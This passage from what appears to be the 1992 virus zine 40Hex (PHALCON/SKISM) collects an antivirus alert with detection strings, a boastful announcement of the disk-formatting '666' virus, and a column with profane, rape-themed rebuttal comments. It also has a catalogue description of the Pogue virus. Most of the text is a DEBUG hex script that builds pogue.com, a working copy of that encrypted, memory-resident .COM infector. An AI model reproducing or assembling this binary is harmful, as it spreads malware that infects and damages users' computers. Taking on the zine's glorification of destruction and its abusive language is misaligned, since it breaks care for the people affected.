released: 3.0.8 Where to find: CompuServe, America Online, Applelink, Symantec's Bulletin Board @ 408-973-9598 When available: 17 April 1992. Version 3.0.8 of the Virus Definitions file are also available. Tool: Virex INIT Status: Commercial software Revision to be released: 3.8 Where to find: Microcom, Inc (919) 490-1277 When available: Immediately. Comments: Virex 3.8 will detect and repair the virus. All Virex subscribers will automatically be sent an update on diskette. All other registered users will receive a notice with information to update prior versions to be able to detect CODE 252. This information is also available on Microcom's BBS. (919)419-1602, and is presented here: Guide Number = 6324448 1: 0203 3001 7778 2A00 / 79 2: 0C50 4EFA 0003 A9AB / C4 3: 0004 A9AA 0002 A647 / B2 4: 8180 9090 9090 9090 / 1B Tool: Virus Detective Status: Shareware Revision to be released: 5.0.4 Where to find: Usual bulletin boards will announce a new search string. Registered users will also get a mailing with the new search string. When available: Immediately. Comments: search strings are: Resource Start & Size < 1200 & WData 2F2C#23F3C#2A9A0*3F3C#24878#2A9AB ; For find CODE 252 in Appl's Filetype=ZSYS & Resource INIT & Size < 1200 & WData 2F2C# 3F3C#2A9A0*3F3C#24878 #2A9AB ; For find CODE 252 in System If you discover what you believe to be a virus on your Macintosh system, please report it to the vendor/author of your anti-virus software package for analysis. Such reports make early, informed warnings like this one possible for the rest of the Mac community. <<<<<<<<<< Article 2: <<<<<<<<<< ========================================================================== Date: 04-27-92 (04:18) Number: 264 of 275 (Echo) To: ALL Refer#: NONE From: STEVENS WALLACE Read: (N/A) Subj: 666 IS GONNA GET YEAH Status: PUBLIC MESSAGE Conf: N_VIRUS (41) Read Type: GENERAL (A) (+) Rock Steady `666' Virus Released: Mar 24'92 [Montreal,Canada] PROGRAMMED:By Rock Steady. A few patches from other neat Viruses DAMAGE:The Virus will format the HD BOOT & FAT area on the 13th of every Month! I wrote TWO formating procedures. One with the INT 13h and one with the INT 26h! To make 100% the suckers HD gets trashes for GOOD! NOTES:This is a Simple EXE & COM Infector! It infects ALL Files Executed The Virus Hides in High Memory! And Hooks Int 21h! It will increase files by the length of 666 Bytes! but if the Virus is Resident in Memory the Length of the Files on a "DIR" will remain the SAME under MSDOS V3.30 - 5.0! OTHER:*uck the Name. Its the ONLY text in the Virus! So the Anti-Virus people will call it `Rock Steady', since the virus needs that signature to check if the file is infected on infection routines & DIR routine! PURPOSE:To make a very small "Stealth" Virus. And create a HOLE shit load of damage for people not to forget! ANTI-VIRAL:*uck Them! I've tried with SCANV89B, F-PROT2.03A, VirexPC Central Point 1.2, Nortan Scanner, ViruScan And it's UNDETECTABLE! Neat heh? McGill Univ. is flipping over this new Virus that they just got hit with in Montreal. *uck it's hot... aLl comments to moi... ======================================================================= <<<<<<<<<< Article 3: <<<<<<<<<< Extracted from "Gui Guts" by Yacco, in ComputerCraft Magazine, June 1992 ------------------------------------------------------------------------ Mutant Ninja Morons ------------------- Did you survive the Michaelangelo Virus? That's what everybody, including Bill, the guy from UPS, has been asking me. I spent most of last night organizing and archiving several year's worth of data. I suppose I should be grateful to the fan of comic culture who wrote this virus for the motivation to do something I've been putting off for a long time. But these virus writers aren't exactly virtuous. I wouldn't be sitting here now creating files with tomorrow's date on them if they were. In fact, it occurs to me that what motivates them is a need to control and terrorize people. In other words, they're a new breed of rapist: the mass rapist. And just like physical rape isn't about sex, electronic rape isn't about intellectual challenges. [I wasn't going to comment until I got this classic article. This is so funny. This guy thinks Michelangelo was named after the Teenage Mutant Ninja Turtle. And hell, *IF* we are rapists, Yacco, better bend over and spread em wide, cause we are gonna fuck you hard. What kinda name is Yacco??? Fuck him. Why is everyone so curious as to what motivates us? Can't it be that we just simply enjoy it? Must it be social problems, or publicity? Don't blame the virus community for the Michelangelo scare, blame the Anti Virus Community. It was a scare, a simple ploy to gain money! I had everyone asking me how do I protect myself? So, I spent a couple days helping out people who weren't infected. Everywhere I went, Michelangelo! How many infections did I find? 1. One fucking infection. I think everyone in the Anti-Virus Community benefitted. Do you think that the author of Michelangelo made a press release about the virus? I don't recall that. So, there goes the publicity theory. He didn't control anyone. Anti-Virus people did. A scare tactic. Plain and simple. The End.] PS: Saw a useful article in the latest issue of a magazine? Anything Virus related? Well, ya don't have to type it in! Just contact a -=PHALCON/SKISM=- Member, and we will take care of it. Leave him mail stating what magazine, what issue, and what page, and your handle (We will throw ya into our Greet list). ->GHeap! 40Hex Number 7 Volume 2 Issue 3 File 009 Pogue Mahone! The following is what Patti Hoffman has to say about the Pogue virus. ----------------------------- VSUMX 9204 ------------------------------------- Virus Name: Pogue Aliases: Scan ID: [Pogue] & [7S] & [DAME] & [512] (memory) V Status: New Discovered: January, 1992 Symptoms: .COM file growth; decrease in total system & available free memory; music Origin: Bulgaria Eff Length: 2,973 - 3,850 Bytes Type Code: PRhC - Parasitic Resident .COM Infector Detection Method: ViruScan V86B+, Novi 1.1+ Removal Instructions: Delete infected files General Comments: The Pogue virus was submitted in January, 1992. It is originally from bulgaria. Pogue is a memory resident infector of .COM programs, but not those that have a base file name which starts with the three characters "COM". Pogue contains portions of code from four other viruses: 512, Dark Avenger, Seventh Son, and Yankee Doodle. It employs a complex encryption mechanism, and detection of infected files will require an algorithmic approach. It does occassionally infect a file with an inencrypted copy of itself, and as a result may appear to the user as an infection of one of the four viruses on which it is based. The first time a program infected with the Pogue virus is executed, the Pogue virus will install itself memory resident at the top of system memory but below the 640k DOS boundary. Total system and available free memory, as indicated by the DOS CHKDSK program, will have decreased by 9,728 bytes. Interrupt 12's return will not have been moved. Interrupts 1C and 21 will be hooked by the virus. Once the Pogue virus is memory resident, it will infect .COM programs when they are opened, executed, or copied. In the case of copying, both the source and the target file will infected. The exception is that Pogue will not infect a .COM file if the base file name starts with the three characters "COM". This is the mechanism used by the virus to avoid infecting COMMAND.COM. Pogue infected programs will have a file length increase of 2,973 to 3,850 bytes. The virus will be located at the end of the infected program. The file's date and time in the DOS disk directory listing will not have been altered by the viral infection process. Usually the Pogue virus will encrypt itself using its garbling encryption mechanism on infected files. In these files, no text strings will be visible within the viral code. Occassionally, this virus will infect a file with an unencrypted copy of the viral code. In these cases, the following text strings will be visible: "Pogue Mahone!" - or - "Pgoue Mahone!" "TNX2DAV" The unencrypted infections of Pogue on files as well the Pogue virus in system memory may be detected by anti-viral scanners as any of the four viruses on which Pogue is based. The Pogue virus will play music on the system speaker when it becomes memory resident and the system time is between 08:00 and 09:00. ----------------------------- VSUMX 9204 ------------------------------------- To decrypt, simply fire up debug and type g 13D ------------------------------------------------------------------------------ n pogue.com e 0100 4D E9 04 00 00 00 00 00 BD 6C A1 B1 03 D3 CD 8B e 0110 CD BD 6E 85 81 CD 0F 74 8B F5 BD 92 3B 03 EE 33 e 0120 E9 81 ED 0C B1 8B 9E 23 0D 81 C3 64 9D 87 9E 23 e 0130 0D BB 31 8F 2B DD BD 33 8F 2B EB 75 E8 8B DD B1 e 0140 03 D3 CB 84 63 9C C0 5B 63 9D B9 1F 51 9F B8 F3 e 0150 E3 62 28 A8 8D 93 5F 41 08 FB C0 54 3D 76 30 BD e 0160 E2 98 08 10 CB 54 63 CC 2F BD 9E 9F D4 FB 80 A2 e 0170 EE 74 AB 2A 3B 1C A1 9C 62 F6 D7 EB 03 9F 62 C9 e 0180 C2 9E D4 E3 05 9F 62 1D 91 AE 62 FC 64 2A 69 AE e 0190 62 AA 81 55 2C A7 F2 8F 07 2A 3C 5A E7 9C ED 9A e 01A0 08 41 21 0C 63 27 61 41 08 A2 81 56 37 9D 1A BD e 01B0 87 69 84 56 70 9E 1A B8 87 62 69 AC 6E 9C F2 69 e 01C0 84 CA 29 A2 2C A8 62 9C 4A A6 62 A3 81 5F B7 EA e 01D0 BA CE A6 DD B8 62 69 AD 6E 9C F2 63 69 AE 6E B2 e 01E0 6E 63 69 B0 6E 08 6F 50 8D 69 84 1C 61 A1 D7 B4 e 01F0 E2 96 64 11 76 63 69 AE 6E 32 6F 63 69 B0 6E 52 e 0200 6F 62 69 AC 6E 9D F2 5F 17 C8 2F BD 60 69 E3 99 e 0210 6A 12 51 5F 13 9F 31 38 A0 76 3D 10 91 EE B3 EF e 0220 B2 F2 B9 BA 68 1C 5F DA D7 A0 16 E1 4D A3 9F 9C e 0230 AD 11 6D 50 A0 69 84 0E 67 2F 4B 0C 63 A3 81 FB e 0240 C0 F4 BD F5 BC 39 91 9B 91 20 63 54 76 41 00 6B e 0250 FF BA B5 EC 70 BB E2 DA 72 A8 63 11 AA 1C A1 AD e 0260 6E 9C D6 A2 60 AA 73 A8 4D D6 ED BA 74 A8 46 FD e 0270 86 98 49 FD E5 DB 61 11 6A 62 69 AC 6E 9E 4D C0 e 0280 12 52 49 DF ED A3 48 DE E8 60 49 DE 46 FD 6E 9F e 0290 48 FD E5 A2 74 A8 64 27 81 B0 6E 26 6A 3E 74 A8 e 02A0 61 A2 76 A8 BA F7 81 39 91 9B 91 0C 63 98 1B 9C e 02B0 95 69 84 EE FB DC B2 69 84 23 36 54 87 D1 2F BD e 02C0 B5 A2 E9 76 71 BB 1C 6D 64 50 88 EC 2F BD 1A BC e 02D0 74 EF 2F CB 88 26 80 54 79 AE 2F CB BD A2 81 9B e 02E0 D8 9E 61 11 67 1D E0 C4 A5 EB D7 17 E3 19 8D E9 e 02F0 D7 11 E4 19 83 DF B1 10 D1 1C E0 AE 52 0F CB 62 e 0300 A8 9E 64 CF 22 BC A7 A0 E9 E1 77 EC 70 BB 1B A0 e 0310 62 5A 28 A8 ED 72 17 DB 2F BD E2 D8 AF 10 A2 1C e 0320 9F F6 D6 D6 88 27 A8 AD 88 25 A8 B1 B2 F2 B9 F1 e 0330 80 A2 B5 84 AF 9C BD 50 A3 69 84 D7 2A A3 81 F9 e 0340 C1 FA BA 11 7C 63 67 E9 4B C9 66 9C EB E0 64 CF e 0350 22 C2 EB E1 77 55 67 9C ED 72 17 DC 2F BD 68 BB e 0360 F1 E1 77 1C B0 A2 A2 50 A1 38 71 84 3B 9A E3 E9 e 0370 67 DC F1 E1 66 2B A8 9E BA BB BC 69 84 F4 BC 69 e 0380 84 5F 5D 28 36 25 81 98 63 27 3F 25 81 9A 63 56 e 0390 63 9D 65 5E F8 28 2B 2A 33 A1 52 9C F0 5C 1F 9C e 03A0 71 97 1C 65 6E 2C 96 9B 96 92 16 AB 1A 9D 6B 84 e 03B0 D9 9C 5C CA 03 98 63 2A 33 CA 03 9A 63 27 43 97 e 03C0 26 EC D1 03 D8 01 83 E9 C3 04 D2 0A C8 BD 62 80 e 03D0 A3 26 43 80 A3 DC 4D BD B3 EF 90 26 81 66 6F CE e 03E0 61 CA ED 23 2F A8 4A CB 62 55 68 9C 33 7C ED 74 e 03F0 95 78 DC 9D A2 7E 58 F7 BB EF 90 26 81 67 6F CE e 0400 61 CA EB 23 2F A8 E2 5F 65 CA EA BA 2D A8 E8 60 e 0410 91 D6 80 66 6F F7 D7 A2 90 1C 69 66 6F 9E 25 E9 e 0420 D6 E1 82 CC 90 D5 92 7D 5F BA B4 F1 4A C2 62 27 e 0430 3D 31 BD FA BF C7 41 EF B9 ED 4A 5A 63 F5 C0 5B e 0440 BC A1 8D 95 BA EE 55 40 BC F6 C0 C7 2C C7 5C 3D e 0450 99 9D 59 74 26 A2 81 1F 24 B2 59 75 E3 7D 61 11 e 0460 65 E5 AB 33 06 CE 63 9F 23 C0 60 11 65 E4 AA EC e 0470 F9 5B 97 9D 0D 2D 0E 31 0E 32 0E 4D 83 6E 44 1C e 0480 54 BC EA E9 55 F9 B7 EF 4A E0 61 5B 9F 9D 1B A4 e 0490 62 4C 62 8F 0D 5B BC 9D 15 A3 4A B5 62 EB E3 9B e 04A0 BC 9D D6 AA B4 F3 B7 54 64 9C 4A 4C 63 FB F7 47 e 04B0 C2 F6 BD F4 95 89 B3 EF B4 F3 95 5C 22 FF 62 27 e 04C0 32 8F 0E 4C 67 22 A8 A8 B2 27 B8 A9 21 F5 65 F1 e 04D0 4A 65 65 F9 4A E6 64 F4 C1 F6 04 D1 63 C0 63 C4 e 04E0 68 CB 63 EC 4A 5C 65 F4 62 E0 45 2F BE C9 B2 9D e 04F0 D4 2F D8 A1 9B E0 50 11 EF F7 25 9F 2C 27 3A 33 e 0500 04 CE 63 21 23 11 66 5B BC A1 1D F5 63 ED B2 D7 e 0510 3C 10 72 E7 EC A3 96 9D 9E FD D6 9E 96 A5 0C DD e 0520 4D 89 BD F4 1D EC 63 21 35 10 6E 2D 13 85 0D 27 e 0530 42 2E 0E 5B BC A1 58 A2 97 9D 6A 11 6C 93 3C 1F e 0540 44 AB 12 2C 56 46 F0 21 0A 96 64 A3 86 9A 64 A2 e 0550 98 9D 4A 96 61 2A 40 6D 4B 27 2B 8F 08 F3 B2 CF e 0560 2B 2A 3C 28 2C 57 E2 A1 21 A8 62 96 EA E9 64 23 e 0570 80 97 B4 EF B9 BA 68 BB 70 57 BC 9F 4A DA 62 31 e 0580 6A FB 5C F4 0D F4 0D 97 BE BA 69 5B C6 9C 95 92 e 0590 1C BD 62 CF 22 8F 12 10 8A 27 A8 9A 9E 62 D5 8F e 05A0 1D 9D 62 32 EE E1 A2 D7 25 10 6A A7 22 11 47 48 e 05B0 FB 2E 4B BF 60 24 67 E2 AC 11 5A 87 39 A2 B5 67 e 05C0 BD 5F B8 27 4F F3 B3 EF B2 27 C1 9E EC A3 D7 AA e 05D0 F5 5B 4A 9C 1B BD 62 8E 12 9B A8 58 ED 61 FB DC e 05E0 63 E2 64 F4 BD F5 C1 F9 31 5B 8C 9D 1A 9D 63 46 e 05F0 0E 50 E4 3F 63 9C 4A 7B 60 2E 4B 77 60 26 C0 9B e 0600 95 9B EE 8F EE E8 61 1C 60 A2 D7 A1 E2 66 64 87 e 0610 7A 1C 60 22 D8 9F 94 65 A6 BE A7 9E 9C 5F D6 BC e 0620 32 87 D6 A0 6C 65 D7 9E 6C 6E 13 9C D7 A2 6D 89 e 0630 D8 76 13 9E 6C 89 DC A0 EB D1 12 9D EA A0 4D CA e 0640 F4 70 6F 1C 48 1C D7 9E 32 84 A3 DC A2 26 43 24 e 0650 67 26 B8 9A A5 26 55 9A 29 24 D8 9A ED 76 1A 9C e 0660 EC 6B D6 A0 9E A2 D4 9E E8 69 96 5D EC A3 33 82 e 0670 EC F0 83 9A A8 9B ED E1 60 D6 A7 9B D5 DF 4B 11 e 0680 62 E9 6C 92 DC 0D ED D0 A7 10 59 E9 D7 D0 B5 57 e 0690 E6 A2 E8 62 91 73 9F 22 E9 62 F6 4D 91 3C 98 9D e 06A0 D7 A6 0A 9E D7 9E 13 DA 0A A0 4D A4 0A A0 D7 9E e 06B0 13 D2 0A 9E D6 9F EC 5D 0D F4 4A D9 62 25 DF 80 e 06C0 0E 5F EE 71 F0 09 64 95 26 23 63 22 E7 21 1D AF e 06D0 6C 92 DB 4E 9D 8C D7 85 E3 18 46 9B D8 B5 B2 A6 e 06E0 58 10 69 A6 22 11 72 26 29 A7 4F 11 67 D6 66 10 e 06F0 68 F7 6E 2C 0D 5F BB A8 7A 2F 0D 2F 14 9F 34 7C e 0700 6D 62 0D 5F EE 74 33 84 EE 64 34 7D 22 BF 62 8E e 0710 11 11 17 29 D8 7A 34 8A E3 D8 65 0E 55 29 A8 7A e 0720 26 3C 8F 9D FA 6C 43 84 3D 9B D5 0B 05 C5 63 84 e 0730 35 9B D6 9E 94 5C B3 6C 4B 24 AA BD 32 87 02 26 e 0740 6A C0 E1 D8 65 11 69 3A D5 E4 A2 87 A6 D8 66 11 e 0750 70 3A D6 A3 ED 8F 14 A4 35 DC 83 E4 4D CE 9E A2 e 0760 D4 CC D7 C6 32 7F ED FB 84 6C 46 27 DA BD 95 5C e 0770 1D 9D 62 27 2B 27 5D 25 E2 BD B0 10 78 E2 59 92 e 0780 B5 93 4A C7 2A 23 32 27 29 CF 34 FA 4D 85 97 AB e 0790 EA A3 BA A6 22 11 FB 6C 91 C5 63 5F EB BA 90 9D e 07A0 B4 F3 4A E0 60 FB BC F3 21 E0 63 54 62 9B 0E 9A e 07B0 23 47 0E 9A 2B 47 EB E1 65 26 C0 79 B6 EE 4A 36 e 07C0 64 27 5A 84 5C 9D BC F7 C1 EF A7 10 67 E9 D7 FE e 07D0 A7 E9 A4 10 6B E6 AF 26 67 84 BB A0 A7 F7 B9 84 e 07E0 68 9E 6D 89 D8 E0 BB E9 1A EC 63 23 A7 80 6D 92 e 07F0 DB BC A7 ED B2 26 A7 9F 86 53 9F 23 D8 E7 9D 08 e 0800 51 11 A9 1C D8 98 65 6C C7 9F DB E6 15 93 13 9F e 0810 4D DD E3 95 BF 9D D7 A9 E5 85 66 1F 52 9F EC B8 e 0820 94 9B 61 E4 52 57 B3 9D 4D 09 6D 92 DC B0 EC D0 e 0830 4D AC B7 84 14 9D EC E0 63 A8 F2 46 BB A6 58 15 e 0840 64 2E BB 53 62 62 68 67 26 84 EF 97 87 9E 66 23 e 0850 F6 26 29 84 93 9A ED A0 E3 9B BC 9F D5 BF B2 E9 e 0860 94 6E ED 8C 33 08 45 84 99 9B B5 F3 4A 4E 61 84 e 0870 16 9C C1 F6 B3 84 92 9B BC F4 4A 53 66 A6 4F 14 e 0880 67 A8 A2 46 0D 4C D8 46 BE F4 ED 64 8E 63 AB 46 e 0890 6D 5C DB 9F 95 77 26 84 0E 9B B4 56 BC A1 E3 9B e 08A0 BC 9F D5 0D B6 4F 6A 27 38 84 53 9A BA 5B BB 9D e 08B0 95 77 EE 73 ED E8 4A 6C 4C 38 D6 A6 9C 14 53 11 e 08C0 68 29 AA EC 5F 46 A6 39 D8 89 AA D7 5C 0F 87 D6 e 08D0 DE 7F D8 A3 ED 96 29 A1 C2 87 7B F3 4A 95 5D C0 e 08E0 69 34 F6 9F 41 D7 3C 13 56 26 68 22 6A 46 9E 96 e 08F0 D8 86 C2 F9 ED 69 8E 6B E6 18 49 9C D6 A2 E3 5D e 0900 BF 9D 8D 6B EE F0 4E 27 25 9F 33 9F A6 8A BE 1F e 0910 DF 8A 63 11 65 27 25 84 68 9C F4 F6 ED F8 46 C7 e 0920 A6 86 EC A3 25 CF 2B 3C 8C 9D FA 2F 1D 9A 62 26 e 0930 6A D8 65 10 69 D8 66 11 84 93 3D 6C 46 EF A5 84 e 0940 67 9C BD 56 65 9C EC FB 83 D6 A1 11 70 27 56 9F e 0950 B2 BD 6C 6E D7 A0 EB EC 83 E5 25 CE 61 1C 8A 1B e 0960 ED B3 ED 5F 33 7F EE FB 83 1C 5D 9F D4 EC B2 EF e 0970 4A 84 62 F7 EC 7B B5 84 44 9B F6 F5 BD 26 9A 1C e 0980 51 A9 D6 A1 E2 62 6A 11 6B 24 D8 9F EA 11 55 87 e 0990 87 1C 61 A1 D5 BB 6C 6E D8 B2 9C F1 45 10 79 C8 e 09A0 70 C0 71 D8 67 0F 6C D8 64 0F 6D 1C 61 9F D4 A1 e 09B0 EA 19 54 4E E3 A6 33 1C 45 1C 6D B3 EA B3 25 84 e 09C0 71 9C 4A AF 5C C0 69 10 75 CE 22 D6 A6 9F D6 A7 e 09D0 4A A1 5C C0 65 11 65 4C 6A D0 66 34 EE 74 E9 14 e 09E0 5B A6 61 10 4E 46 26 63 A7 9E 61 1C 95 9B ED A3 e 09F0 87 1B 63 6C 46 56 63 9B AB 10 4E 26 97 E4 D6 82 e 0A00 EE F3 83 14 44 EC B4 EF EC 7A 4B 76 62 F7 BB F4 e 0A10 9E A8 D7 DC 6C 6E D8 6A 9D D0 D6 66 B3 ED B5 EE e 0A20 4A AA 64 F6 ED E0 63 D6 52 11 67 A6 46 10 68 4F e 0A30 E8 84 26 98 BE 4C D8 46 A8 10 76 1D 62 F5 65 0E e 0A40 67 1C A8 9B BA 27 2A 23 AA FF EB 23 4A 9C AF E3 e 0A50 ED 73 4E 05 B3 ED 6C 6E D8 FF 9C 10 64 11 C1 26 e 0A60 A7 9F 6C 5C DB BD 86 A3 D6 A4 9C A0 D6 B5 9E 9F e 0A70 D4 B1 E2 11 61 9E 58 E0 65 DC D6 D7 B2 A8 3A 26 e 0A80 43 4C 5A 47 BB 87 93 84 B1 95 1C A4 62 EC EC 62 e 0A90 6F EC 0C F4 15 1C 46 BF B1 E5 A2 C0 69 34 EE 74 e 0AA0 ED FC 5A A6 46 10 49 E7 D7 A6 BD EF 94 9B ED C3 e 0AB0 6C 80 DB 75 4B 19 64 2F 61 DC 5A 26 56 F7 B4 84 e 0AC0 88 9B 4B 08 64 F6 BA 62 A7 9F E2 D8 6E 11 6F 27 e 0AD0 3D 27 3A C7 35 24 BA 9B 4C BE 63 26 4F EC 6C 6E e 0AE0 D8 C0 E2 9A E3 11 73 C8 67 D8 66 4C 64 0E 64 DC e 0AF0 EC 8C 6F F4 0C 87 72 A6 58 14 6E D6 96 10 6A 26 e 0B00 41 CE 61 9A AB 94 BB 4F 6E C8 6B 10 78 4F 86 E4 e 0B10 D6 AC 66 A2 FA 15 C8 4F 96 DC D6 A2 15 9F DC 9E e 0B20 15 C7 EC E0 63 A6 34 11 7B 1C 49 23 E3 97 8E 11 e 0B30 66 1C 31 DC EA 10 66 84 AB 97 D6 0D 6D 5C D7 9D e 0B40 A7 1C 56 A2 B4 DE A4 1F 5D A1 BC 0F A4 A7 22 14 e 0B50 75 1C 5E D1 D7 D4 A4 11 97 26 53 4C 65 4F 5A 26 e 0B60 4E 87 37 A7 34 15 68 93 3D 1C 56 C4 6E DC E2 97 e 0B70 68 10 65 A8 6A 46 AD 10 97 46 4E CD 13 A0 D7 CB e 0B80 6C 6E D7 A2 1A 56 65 46 F5 47 F4 87 33 E6 6C 5C e 0B90 D7 B0 E2 7F 9B A8 22 A6 3A 26 25 34 96 5E 13 1D e 0BA0 D8 9F 12 1F 5C 46 F6 46 F5 47 D6 9D B1 87 AE DD e 0BB0 9E A3 D6 68 A3 D8 66 38 D6 9E 8E 9E 6C 6E D8 DF e 0BC0 B2 4C 64 4F ED 26 4E 1C 61 9F D6 9D A5 84 67 97 e 0BD0 BB 39 B3 0E 6F 54 E3 BB E6 00 46 10 67 46 13 7D e 0BE0 0E F4 15 6F 15 9D EC 10 64 84 6E 97 F5 1C 5E 5D e 0BF0 D7 A3 32 84 D5 A0 F5 46 F5 46 EB 08 65 26 D7 9D e 0C00 94 6E 26 4F 24 39 D6 A7 EC 87 59 5E 6B 10 67 92 e 0C10 3D D0 63 1C 45 AB D6 81 E3 96 64 10 68 D6 C6 7F e 0C20 D7 60 16 6D E3 96 66 0E 20 EC 12 4D ED 7E 0E 87 e 0C30 13 26 A7 9D FA EC E3 9B BC 9F D5 A1 ED 74 EB 14 e 0C40 53 A6 34 11 6A 4F EE 84 E9 96 D6 A1 6E 54 0D 2E e 0C50 0E F4 25 9C 62 B2 6E 08 6F E4 7E CE 7B CC 77 7C e 0C60 75 CC 77 34 6D D5 6D 35 6F C0 70 C0 70 34 6D D5 e 0C70 6D 34 6D CC 77 CC 77 CC 77 7B 72 6C 73 7C 75 6C e 0C80 73 7C 75 6C 73 7C 75 CC 77 7C 75 CC 77 34 6D D5 e 0C90 6D 35 6F C0 70 C0 70 34 6D D5 6D 34 6D CC 77 CC e 0CA0 77 CC 77 7B 72 6C 73 7C 75 CC 77 CC 77 9B 62 A0 e 0CB0 66 A8 66 A4 66 A0 6E A0 6A A0 66 A4 66 A0 6A A0 e 0CC0 66 A8 66 A4 66 A0 6E A0 6A A0 66 A8 66 A4 66 A0 e 0CD0 6A A0 66 A4 66 A0 6E A0 6A E4 7E CC 77 0E 79 7C e 0CE0 75 CC 77 E4 7E 3D 84 CE 7B 5A 82 7C 75 CC 77 0E e 0CF0 79 CE 7B E4 7E E4 7E 9B 62 A4 6E A0 66 A0 66 A0 e 0D00 72 A4 66 A0 72 A4 6A B4 2F BC 62 9C 82 86 4C BC e 0D10 A4 CA 75 80 03 2A 74 60 4A E9 73 40 83 08 75 A9 e 0D20 25 C8 E4 rcx 0C23 w q ------------------------------------------------------------------------------ DA